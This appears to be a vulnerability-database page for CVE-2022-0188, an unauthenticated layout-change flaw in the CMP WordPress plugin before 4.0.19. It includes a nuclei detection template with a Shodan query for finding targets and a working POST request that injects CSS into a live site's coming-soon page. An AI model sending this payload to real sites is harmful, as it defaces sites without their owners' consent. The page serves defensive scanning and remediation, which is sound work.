HexBrain

Browse / CVEs / CVE-2022-0188

CVE-2022-0188

CMP WordPress < 4.0.19 - Broken Access Control

mediumseverity
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

CMP WordPress plugin < 4.0.19 contains an arbitrary page layout change caused by insufficient access control in the coming soon page feature, letting unauthenticated users modify the layout, exploit requires no authentication.

Impact

Unauthenticated users can alter the coming soon page layout, potentially misleading visitors or causing defacement.

Fix

Update to version 4.0.19 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/cmp-coming-soon-maintenance/readme.txt
Positive when: status_code == 200 and compare_versions(version, '< 4.0.19')
Send: POST / ; GET /
Positive when: contains_all(body_2, '{{randstr}}','cmp-coming-soon-maintenance') and contains_any(body_2, 'niteoCS','cmp-theme','coming-soon') and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-0188 -u <target>

The full check
id: CVE-2022-0188

info:
  name: CMP WordPress < 4.0.19 - Broken Access Control
  author: pussycat0x
  severity: medium
  description: |
    CMP WordPress plugin < 4.0.19 contains an arbitrary page layout change caused by insufficient access control in the coming soon page feature, letting unauthenticated users modify the layout, exploit requires no authentication.
  reference:
    - https://wpscan.com/vulnerability/50b6f770-6f53-41ef-b2f3-2a58e9afd332/
  impact:
    Unauthenticated users can alter the coming soon page layout, potentially misleading visitors or causing defacement.
  remediation:
    Update to version 4.0.19 or later.
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"wp-content/plugins/cmp-coming-soon-maintenance"
  tags: cve,cve2022,wp-scan,wordpress,wp-plugin,cmp,intrusive,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/cmp-coming-soon-maintenance/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - compare_versions(version, '< 4.0.19')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        niteoCS_footer_background_opacity_hardwork=0);body{background:url({{randstr}});}div{color:red

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains_all(body_2, '{{randstr}}','cmp-coming-soon-maintenance')"
          - "contains_any(body_2, 'niteoCS','cmp-theme','coming-soon')"
          - "status_code == 200"
        condition: and

    extractors:
      - type: regex
        name: injected-css
        part: body_2
        group: 1
        regex:
          - 'background:url\(([a-zA-Z0-9]+)\)'

References

Use this check only on systems you are authorised to test. Where the data comes from